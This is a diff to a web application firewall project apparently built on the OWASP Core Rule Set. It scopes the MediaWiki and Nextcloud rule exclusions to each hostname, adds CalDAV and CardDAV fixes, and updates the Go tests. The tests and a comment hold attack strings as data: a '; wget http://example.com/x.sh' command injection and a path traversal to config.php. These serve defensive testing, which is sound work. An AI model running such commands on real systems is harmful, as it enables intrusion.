-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
-
 # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
 # or prependtext, and the REST API in the JSON field source. Each of these
 # rules refused saving or previewing a page whose wikitext held a template, a
@@ -278,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
 # This rule is in phase 2, because a phase 1 rule runs before the body is read
 # and cannot see what wpTitles holds. It checks that the body sends wpTitles
 # once, since it would otherwise skip these rules for a second wpTitles
-# holding a command.
+# holding a command. It checks tx.app_mediawiki, since the skip above does not
+# reach phase 2.
 SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
     "id:900916,phase:2,pass,nolog,chain"
     SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
+    SecRule &TX:app_mediawiki "@eq 1" "chain"
     SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
     SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
     SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -290,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
         ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
+
+SecMarker END_MEDIAWIKI

internal/coreruleset/mediawiki_test.go

@@ -3,13 +3,17 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
-	"strings"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
 const mediawikiThreshold = 5
 
+// mediawiki is MediaWiki's name in SWW_APPS.
+const mediawiki = "mediawiki"
+
 // mediawikiEdit is the address MediaWiki's edit form posts to.
 const mediawikiEdit = "/index.php?title=Example&action=submit"
 
@@ -46,13 +50,50 @@ const (
 func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "mediawiki-requests.txt")
+	wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
+}
+
+func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {mediawiki},
+	})
+
+	// A search, which only MediaWiki's fixes let through.
+	search := get("/index.php?title=Special:Search&search=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
+	t.Parallel()
+
+	crs := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
+	})
+
+	// A watchlist that only the phase 2 rule 900916 lets through.
+	r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
+	body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
+
+	got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
+	if got.Score >= mediawikiThreshold {
+		t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
+	}
+
+	got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
+	if got.Score < mediawikiThreshold {
+		t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
+	}
 }
 
 // mediawikiQueryFields and mediawikiBodyFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
-// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
-// each in the query, on a path where it skips them, ending in "=".
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
+// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
+// path where it skips them, ending in "=".
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiQueryFields = []string{
@@ -137,9 +178,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
 type mediawikiBodyField struct{ target, field string }
 
 // mediawikiBodyFields and mediawikiQueryFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
-// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
-// each in a form data body, on a path where it skips them.
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
+// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
+// a path where it skips them.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiBodyFields = []mediawikiBodyField{
@@ -147,11 +188,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiUpload, "wpUploadDescription="},
 	{mediawikiUpload, "wpDestFile="},
 	{mediawikiSignIn, "wpName="},
+	{mediawikiSignIn, "wpPassword="},
 	{mediawikiMove, "wpOldTitle="},
 	{mediawikiMove, "wpNewTitleMain="},
 	{mediawikiMove, "wpReason="},
 	{mediawikiBlock, "wpTarget="},
 	{mediawikiSignInPage, "wpName="},
+	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiUploadPage, "wpDestFile="},
 	{"/w" + mediawikiUploadPage, "wpUploadDescription="},
 	{mediawikiAPI, "title="},
@@ -164,18 +207,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiAPI, "reason="},
 	{mediawikiAPI, "user="},
 	{mediawikiAPI, "lgname="},
-	{mediawikiAPI, "username="},
-}
-
-// mediawikiPasswordFields are the passwords, which skip the four rules and the
-// rules that random passwords set off. mediawikiPasswordFields sends each in a
-// form data body, on a path where it skips them.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var mediawikiPasswordFields = []mediawikiBodyField{
-	{mediawikiSignIn, "wpPassword="},
-	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiAPI, "lgpassword="},
+	{mediawikiAPI, "username="},
 	{mediawikiAPI, passwordField},
 }
 
@@ -242,23 +275,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
-func TestMediaWikiPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	for _, sent := range mediawikiPasswordFields {
-		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{http.MethodPost, sent.target, []string{formData}}
-			name := strings.TrimSuffix(sent.field, "=")
-
-			wantRandomPasswordsPass(t, r, name)
-			wantPasswordAttacksPass(t, r, name)
-			wantPasswordAttacksRefused(t, r, name)
-		})
-	}
-}
-
 // mediawikiCommandAttack is a shell command that only 932235 refuses on the
 // fields that skip the other command rules, as a query value.
 const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -279,8 +295,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs = readingBodies(t)
 
-	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
-		mediawikiPasswordFields) {
+	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
 		r := request{http.MethodPost, sent.target, []string{formData}}
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -338,8 +353,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 			}
 		}
 
-		fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
-			mediawikiPasswordFields)
+		fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
+			mediawikiWikitextFields...)
 
 		for _, sent := range fields {
 			r := request{http.MethodPost, sent.target, []string{formData}}

internal/coreruleset/nextcloud.conf

@@ -1,4 +1,4 @@
-# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
+# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
 # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
 # sends a search, a name, a file name, a folder, a comment, a note, a status or
 # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,6 +29,13 @@
 # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
 # injection, path traversal and script injection are still refused there.
 
+# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
+# is skipped. Inspect sets tx.app_nextcloud when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_nextcloud itself.
+SecRule &TX:app_nextcloud "@eq 0" \
+    "id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
+
 # The sync client and the Files app use these WebDAV methods besides those
 # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
 # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -61,46 +68,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
     ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
     ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
 
-# The password, in the body, skips each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
-    "id:900119,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:password "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:password,\
-        ctl:ruleRemoveTargetById=920540;ARGS:password,\
-        ctl:ruleRemoveTargetById=921200;ARGS:password,\
-        ctl:ruleRemoveTargetById=930100;ARGS:password,\
-        ctl:ruleRemoveTargetById=930110;ARGS:password,\
-        ctl:ruleRemoveTargetById=930120;ARGS:password,\
-        ctl:ruleRemoveTargetById=932125;ARGS:password,\
-        ctl:ruleRemoveTargetById=932130;ARGS:password,\
-        ctl:ruleRemoveTargetById=932160;ARGS:password,\
-        ctl:ruleRemoveTargetById=932230;ARGS:password,\
-        ctl:ruleRemoveTargetById=932250;ARGS:password,\
-        ctl:ruleRemoveTargetById=932260;ARGS:password,\
-        ctl:ruleRemoveTargetById=932270;ARGS:password,\
-        ctl:ruleRemoveTargetById=932280;ARGS:password,\
-        ctl:ruleRemoveTargetById=932330;ARGS:password,\
-        ctl:ruleRemoveTargetById=932340;ARGS:password,\
-        ctl:ruleRemoveTargetById=932370;ARGS:password,\
-        ctl:ruleRemoveTargetById=932380;ARGS:password,\
-        ctl:ruleRemoveTargetById=933100;ARGS:password,\
-        ctl:ruleRemoveTargetById=933135;ARGS:password,\
-        ctl:ruleRemoveTargetById=933180;ARGS:password,\
-        ctl:ruleRemoveTargetById=933210;ARGS:password,\
-        ctl:ruleRemoveTargetById=941100;ARGS:password,\
-        ctl:ruleRemoveTargetById=941120;ARGS:password,\
-        ctl:ruleRemoveTargetById=941160;ARGS:password,\
-        ctl:ruleRemoveTargetById=941180;ARGS:password,\
-        ctl:ruleRemoveTargetById=942100;ARGS:password,\
-        ctl:ruleRemoveTargetById=942151;ARGS:password,\
-        ctl:ruleRemoveTargetById=942190;ARGS:password,\
-        ctl:ruleRemoveTargetById=942230;ARGS:password,\
-        ctl:ruleRemoveTargetById=942290;ARGS:password,\
-        ctl:ruleRemoveTargetById=942320;ARGS:password,\
-        ctl:ruleRemoveTargetById=942540;ARGS:password,\
-        ctl:ruleRemoveTargetById=942550;ARGS:password,\
-        ctl:ruleRemoveTargetById=944150;ARGS:password"
-
 # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
 SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
     "id:900103,phase:1,pass,nolog,\
@@ -286,3 +253,65 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
 SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
     "id:900118,phase:1,pass,nolog,chain"
     SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
+
+# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
+# and desktops, keep calendars under /remote.php/dav/calendars/ and address
+# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
+# with MKCALENDAR, which 911100 refused.
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
+    "id:900119,phase:1,pass,nolog,\
+    setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
+
+# Such a client first asks where the calendars and address books are, with a
+# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
+# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
+SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
+    "id:900120,phase:1,pass,nolog,\
+    setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
+
+# A new calendar or address book has its name in the XML body of an MKCOL,
+# <d:displayname>Python3 and powershell</d:displayname>. An address book's
+# MKCOL may also hold its description (900124).
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
+    "id:900121,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq MKCOL" \
+        "ctl:ruleRemoveTargetById=930120;XML:/*,\
+        ctl:ruleRemoveTargetById=932120;XML:/*,\
+        ctl:ruleRemoveTargetById=932250;XML:/*,\
+        ctl:ruleRemoveTargetById=932260;XML:/*"
+
+# The XML body of an MKCALENDAR holds the new calendar's name and its
+# description. The description is a sentence, and two rules for sentences
+# refused it too:
+#   932125, 932230: Powershell and python3 meetings; ls -la first
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
+    "id:900122,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq MKCALENDAR" \
+        "ctl:ruleRemoveTargetById=930120;XML:/*,\
+        ctl:ruleRemoveTargetById=932120;XML:/*,\
+        ctl:ruleRemoveTargetById=932125;XML:/*,\
+        ctl:ruleRemoveTargetById=932230;XML:/*,\
+        ctl:ruleRemoveTargetById=932250;XML:/*,\
+        ctl:ruleRemoveTargetById=932260;XML:/*"
+
+# When the Calendar app changes an event, it names the charset twice in the
+# Content-Type of the PUT:
+#   text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
+# The Contacts app does the same with text/vcard when it changes a contact.
+# 920530 refused both. The body of such a PUT is not read (900118).
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
+    "id:900123,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq PUT" "chain"
+        SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
+            "ctl:ruleRemoveById=920530"
+
+# The XML body of a new address book's MKCOL may hold its description. Like a
+# calendar's (900122), it is a sentence, and the same two rules refused it:
+#   932125, 932230: Powershell and python3 contacts; ls -la first
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
+    "id:900124,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq MKCOL" \
+        "ctl:ruleRemoveTargetById=932125;XML:/*,\
+        ctl:ruleRemoveTargetById=932230;XML:/*"
+
+SecMarker END_NEXTCLOUD

internal/coreruleset/nextcloud_test.go

@@ -6,6 +6,7 @@ import (
 	"maps"
 	"net/http"
 	"net/url"
+	"slices"
 	"strings"
 	"testing"
 
@@ -15,9 +16,6 @@ import (
 // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
 const nextcloudThreshold = 5
 
-// nextcloudSignIn is the sign-in page.
-const nextcloudSignIn = "/login"
-
 // nextcloudShare is a public share's page.
 const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
 
@@ -50,10 +48,47 @@ const (
 // nextcloudOther is a JSON field no exclusion names.
 const nextcloudOther = `{"other":"python3"}`
 
+// nextcloud is Nextcloud's name in SWW_APPS.
+const nextcloud = "nextcloud"
+
 func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
+	wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
+}
+
+func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {nextcloud},
+	})
+
+	// A search, which only Nextcloud's fixes let through.
+	search := get(nextcloudUsers + "?search=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {nextcloud},
+	})
+
+	// Listing a folder, as the sync client does.
+	list := request{nextcloudPropFind, nextcloudFiles, nil}
+
+	wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(list, giteaHost), matched(911100))
+
+	// Making a calendar, as a CalDAV client does.
+	calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
+
+	wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
 }
 
 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
@@ -85,7 +120,8 @@ var nextcloudQueryFields = []string{
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudFormFields = []struct{ target, field string }{
-	{nextcloudSignIn, "user="},
+	{"/login", "user="},
+	{"/login", passwordField},
 	{nextcloudUsers, "userid="},
 	{nextcloudUsers, "displayName="},
 	{nextcloudUsers, "groups%5B%5D="},
@@ -128,8 +164,55 @@ var nextcloudBodies = []nextcloudBody{
 			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
 			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
 	},
+	{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
+	{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
+	{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
 }
 
+// The WebDAV methods that make a calendar or an address book.
+const (
+	nextcloudMkcol      = "MKCOL"
+	nextcloudMkcalendar = "MKCALENDAR"
+)
+
+// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
+// address books of the account admin.
+const (
+	nextcloudCalendars    = "/remote.php/dav/calendars/admin/"
+	nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
+)
+
+// nextcloudNewCollection is the XML body that names a new calendar or address
+// book, as an MKCOL sends it.
+const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
+	`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
+
+// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
+// calendar.
+const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
+	`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
+	`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
+
+// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
+// the new calendar a description.
+const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
+	`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
+	`<d:displayname>Meetings</d:displayname>` +
+	`<c:calendar-description>%s</c:calendar-description>` +
+	`</d:prop></d:set></c:mkcalendar>`
+
+// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
+// address book a description.
+const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
+	`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
+	`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
+	`<displayname>Trainers</displayname>` +
+	`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
+	`</prop></set></mkcol>`
+
+// nextcloudDescription is a calendar's description, as recorded.
+const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
+
 // nextcloudDocument is the text of a document the text editor saves, which
 // skips the rules for code blocks too.
 //
@@ -255,17 +338,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
 	return scores
 }
 
-// nextcloudPasswordScore returns the score that the Core Rule Set, reading
-// bodies, gives signing in with value, a query value, as the password.
-func nextcloudPasswordScore(t *testing.T, value string) int {
-	t.Helper()
-
-	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
-	got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
-
-	return got.Score
-}
-
 func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 	t.Parallel()
 
@@ -275,22 +347,8 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", request, score)
 			}
 		}
-
-		if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
-			t.Errorf("password %s refused: %d", value, score)
 	}
 }
-}
-
-func TestNextcloudPasswordPasses(t *testing.T) {
-	t.Parallel()
-
-	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
-
-	wantRandomPasswordsPass(t, r, "password")
-	wantPasswordAttacksPass(t, r, "password")
-	wantPasswordAttacksRefused(t, r, "password")
-}
 
 func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
 	t.Parallel()
@@ -340,10 +398,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 			t.Errorf("%s let through: %d", request, score)
 		}
 	}
-
-	if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
-		t.Errorf("password %s let through: %d", commandInjection, score)
-	}
 }
 
 func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
@@ -406,6 +460,119 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
 	}
 
 	wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
+
+	// MKCALENDAR only where the calendars are.
+	for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
+		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
+	}
+
+	for _, target := range []string{
+		nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
+		"/x/remote.php/dav/calendars/",
+	} {
+		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
+	}
+
+	// PROPFIND, and no other WebDAV method, where a client asks for them.
+	for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
+		wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
+		wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
+	}
+
+	other := request{nextcloudPropFind, "/.well-known/other", nil}
+	wantResult(t, crs, other, matched(911100))
+}
+
+func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// A new calendar's and a new address book's description, as recorded.
+	for _, described := range []struct {
+		sent        nextcloudBody
+		description string
+	}{
+		{
+			nextcloudBody{
+				nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
+				nextcloudCalendarDescription,
+			},
+			nextcloudDescription,
+		},
+		{
+			nextcloudBody{
+				nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
+				nextcloudAddressBookDescription,
+			},
+			"Powershell and python3 contacts; ls -la first",
+		},
+	} {
+		sent := described.sent
+
+		request, score := nextcloudBodyScore(t, crs, sent, described.description)
+		if score >= nextcloudThreshold {
+			t.Errorf("%s refused: %d", request, score)
+		}
+
+		for _, attack := range []string{
+			sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
+		} {
+			written, err := url.QueryUnescape(attack)
+			if err != nil {
+				t.Fatal(err)
+			}
+
+			request, score := nextcloudBodyScore(t, crs, sent, written)
+			if score < nextcloudThreshold {
+				t.Errorf("%s let through: %d", request, score)
+			}
+		}
+
+		// An MKCOL on the calendars' paths skips only the rules for names.
+		sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
+
+		request, score = nextcloudBodyScore(t, crs, sent, described.description)
+		if score < nextcloudThreshold {
+			t.Errorf("%s let through: %d", request, score)
+		}
+	}
+}
+
+// nextcloudChangedEvent is the Content-Type of the PUT with which the
+// Calendar app changes an event.
+const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
+	"component=vevent; charset=UTF-8"
+
+func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, changed := range []request{
+		{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
+		{
+			http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
+			[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
+		},
+	} {
+		wantResult(t, crs, changed, matched())
+	}
+
+	// Elsewhere, with another method or another type, two charsets are refused.
+	for _, refused := range []request{
+		{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
+		{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
+		{
+			http.MethodPut, nextcloudCalendars + "work/1.ics",
+			[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
+		},
+	} {
+		if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
+			t.Errorf("%s %s %q let through: %+v",
+				refused.method, refused.target, refused.headers, got)
+		}
+	}
 }
 
 // nextcloudUploads are a JSON file and an XML file, as the Files app uploads

internal/coreruleset/testdata/nextcloud-requests.txt

@@ -2,6 +2,8 @@
 # at the defaults. They were recorded from a Nextcloud driven by a headless
 # Chrome, by its command-line sync client 3.16.7 and by an API client. The API
 # client's LOCK and UNLOCK send what the desktop client's "Lock file" action
+# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
+# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
 # sends. Each line is one request as JSON. Host names, passwords and session
 # cookies are invented, and the bodies of large uploads are shortened.
 {"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
@@ -1340,3 +1342,46 @@
 {"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
 {"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
